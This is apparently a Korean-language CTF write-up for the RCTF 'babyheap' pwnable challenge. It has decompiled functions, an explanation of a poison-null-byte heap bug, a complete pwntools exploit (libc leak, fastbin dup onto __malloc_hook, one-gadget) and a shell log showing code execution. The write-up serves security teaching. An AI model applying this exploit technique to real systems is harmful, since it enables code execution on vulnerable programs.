Analysis
setup()
unsigned __int64 setup()
{
unsigned __int16 buf; // [rsp+2h] [rbp-1Eh]
int fd; // [rsp+4h] [rbp-1Ch]
void *addr; // [rsp+8h] [rbp-18h]
void *check; // [rsp+10h] [rbp-10h]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]
canary = __readfsqword(0x28u);
num_of_chunk = 0;
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
print_error("open device error");
buf = 0;
if ( read(fd, &buf, 2uLL) < 0 )
print_error("read() error");
check = calloc(buf, 1uLL);
if ( !check )
print_error("memory error");
addr = 0LL;
read(fd, &addr, 6uLL);
addr = (addr & 0xFFFFFFFFFFF000LL);
heap_address = mmap(addr, 0x1000uLL, 3, 34, -1, 0LL);
if ( !heap_address )
print_error("memory error");
close(fd);
return __readfsqword(0x28u) ^ canary;
}
기본적인 설정은 이런식으로 해준다.
힙 주소를 랜덤으로 매핑해주고, 따라서 힙주소 브포가 불가능하다.
마지막으로 , 모든 함수에서 malloc
말고 calloc
을 사용한다.
즉, 할당하고 자동으로 0으로 초기화해주므로 UAF
발생 가능성이 사라진다.
alloc()
void *sub_CCA()
{
void *result; // rax
unsigned __int64 i; // [rsp+8h] [rbp-18h]
signed __int64 size; // [rsp+10h] [rbp-10h]
void *buf; // [rsp+18h] [rbp-8h]
if ( num_of_chunk > 0x20u )
print_error("too many chunk");
printf("please input chunk size: ");
size = read_int();
if ( size <= 0 || size > 0x100 )
print_error("invalid size");
buf = calloc(size, 1uLL);
if ( !buf )
print_error("memory error");
printf("input chunk content: ", 1LL);
read_str(buf, size);
for ( i = 0LL; i <= 31 && *(8 * i + heap_address); ++i )
;
if ( i == 32 )
print_error("too many chunk");
*(heap_address + 8 * i) = buf;
result = &num_of_chunk;
++num_of_chunk;
return result;
}
사이즈는 0x100
까지 지정 가능하다.
청크는 최대 32개까지 사용 가능하며 자체 입력함수를 사용하여 취약점을 찾기 힘들다.
라고 생각할때 취약점이 발생한다.
read_str()
unsigned __int64 __fastcall read_str(__int64 buf, unsigned int size)
{
char tmp; // [rsp+13h] [rbp-Dh]
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 canary; // [rsp+18h] [rbp-8h]
canary = __readfsqword(0x28u);
for ( i = 0; i < size; ++i )
{
tmp = 0;
if ( read(0, &tmp, 1uLL) < 0 )
print_error("read() error");
*(buf + i) = tmp;
if ( tmp == '\n' )
break;
}
*(i + buf) = '\0';
return __readfsqword(0x28u) ^ canary;
}
평범하게 한글자씩 입력받고 개행들어가면 끝내주고 이러는거 같다.
하지만, 문자열의 끝이 개행이 아니라면 끝까지 NULL
이 들어가지 않는다.
즉, 청크를 0x28
,0x48
이런식으로 꽈아아아악 채워서 입력하면 prev_size
까지 덮어지고 그 다음에 NULL
이 들어가는데, 여기서 posion null byte
취약점이 발생한다.
show()
int sub_E0C()
{
int result; // eax
int v1; // [rsp+4h] [rbp-Ch]
__int64 v2; // [rsp+8h] [rbp-8h]
printf("please input chunk index: ");
v1 = read_int();
if ( v1 < 0 || v1 > 31 )
print_error("invalid index");
v2 = *(8LL * v1 + heap_address);
if ( v2 )
result = printf("content: %s\n", v2);
else
result = puts("no such a chunk");
return result;
}
평-범한 출력 함수이다.
delete()
_QWORD *sub_E9F()
{
signed __int64 v0; // rdx
_QWORD *result; // rax
int v2; // [rsp+4h] [rbp-Ch]
void *ptr; // [rsp+8h] [rbp-8h]
printf("please input chunk index: ");
v2 = read_int();
if ( v2 < 0 || v2 > 31 )
print_error("invalid index");
v0 = 8LL * v2;
result = *(v0 + heap_address);
ptr = *(v0 + heap_address);
if ( ptr )
{
--num_of_chunk;
free(ptr);
result = (8LL * v2 + heap_address);
*result = 0LL;
}
return result;
}
취약점 방어를 정말 깔끔하게 해놨다.
free
할때 전역변수에 NULL
을 넣어준다.
Exploit
from pwn import *
context.log_level = "debug"
binary = "./babyheap"
e = ELF(binary)
libc = e.libc
r = process(binary,aslr=True)
def alloc(size,content):
r.sendafter("choice: ","1")
r.sendafter("size: ",str(size))
r.sendlineafter("content: ",content)
def show(index):
r.sendafter("choice: ","2")
r.sendafter("index: ",str(index))
def delete(index):
r.sendafter("choice: ","3")
r.sendafter("index: ",str(index))
alloc(0x80,"A"*0x80) #0
alloc(0x100,"B"*0x100) #0,1
alloc(0x80,"C"*0x80) #0,1,2
delete(0) #1,2
delete(1) #2
alloc(0x88,"X"*0x88) #0,2
alloc(0x80,"Y"*0x80) #0,1,2
alloc(0x60,"Z"*0x60) #0,1,2,3
delete(1) #0,2,3
delete(2) #0,3
alloc(0x80,"1"*0x80) #0,1,3
alloc(0x80,"2"*0x80) #0,1,2,3
alloc(0x80,"3"*0x80) #0,1,2,3,4
delete(3) #0,1,2,4
show(2)
libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base -= 0x3c4b20 + 88
log.info("libc_base : " + hex(libc_base))
alloc(0x60,"4"*0x60) #0,1,2,3,4
alloc(0x60,"5"*0x60) #0,1,2,3,4,5
delete(3)
delete(5)
delete(2)
alloc(0x60,p64(libc_base + libc.sym["__malloc_hook"] - 0x23))
alloc(0x60,"6"*0x60)
alloc(0x60,"7"*0x60)
alloc(0x60,"8"*0x13 + p64(libc_base + 0x4526a))
r.interactive()
일단 posion null byte
를 트리거 해야 한다.
alloc(0x80,"A"*0x80) #0
alloc(0x100,"B"*0x100) #0,1
alloc(0x80,"C"*0x80) #0,1,2
delete(0) #1,2
delete(1) #2
alloc(0x88,"X"*0x88) #0,2
alloc(0x80,"Y"*0x80) #0,1,2
alloc(0x60,"Z"*0x60) #0,1,2,3
alloc(0x88,"X"*0x88)
요렇게 넣어서 트리거 해준다.
그리고 나서 0x80
,0x60
이렇게 넣어서 free
된 부분 꽉꽉 채워준다.
delete(1) #0,2,3
delete(2) #0,3
alloc(0x80,"1"*0x80) #0,1,3
alloc(0x80,"2"*0x80) #0,1,2,3
alloc(0x80,"3"*0x80) #0,1,2,3,4
delete(3) #0,1,2,4
힙 앞쪽 부분 다시 지우고 0x80
크기의 청크 3개를 다시 할당해준다.
이제 delete 3
을 한다.
그리고 show 2
를하면 libc_base
가 leak
이 된다.
이 과정이 posion null byte
로 청크를 꼬아서 index 2
와 index 3
이 동일한 부분을 가르키게 하는 부분이다.
이제 fast bin dup
도 마찬가지로 해주면 된다!
show(2)
libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base -= 0x3c4b20 + 88
log.info("libc_base : " + hex(libc_base))
alloc(0x60,"4"*0x60) #0,1,2,3,4
alloc(0x60,"5"*0x60) #0,1,2,3,4,5
delete(3)
delete(5)
delete(2)
alloc(0x60,p64(libc_base + libc.sym["__malloc_hook"] - 0x23))
alloc(0x60,"6"*0x60)
alloc(0x60,"7"*0x60)
alloc(0x60,"8"*0x13 + p64(libc_base + 0x4526a))
r.interactive()
끗!
Shell
juntae@ubuntu:~/ctf/Rctf/babyheap$ p ex.py
[*] '/home/juntae/ctf/Rctf/babyheap/babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './babyheap': pid 6329
[*] libc_base : 0x7fc8a5d1a000
[*] Switching to interactive mode
1. Alloc
2. Show
3. Delete
4. Exit
choice: $ 1
please input chunk size: $ 32
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae)
'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글
[ASIS CTF] TinyPwn ( write-up ) (0) | 2019.12.03 |
---|---|
[ASIS CTF] cat ( write-up ) (0) | 2019.12.03 |
[Layer7 CTF] Angel-in-us ( write-up ) (0) | 2019.10.11 |
[Layer7 CTF] How old are you? ( write-up ) (0) | 2019.10.11 |
[Timisoara CTF] Timisoara CTF Quals ( write-up ) (0) | 2019.09.22 |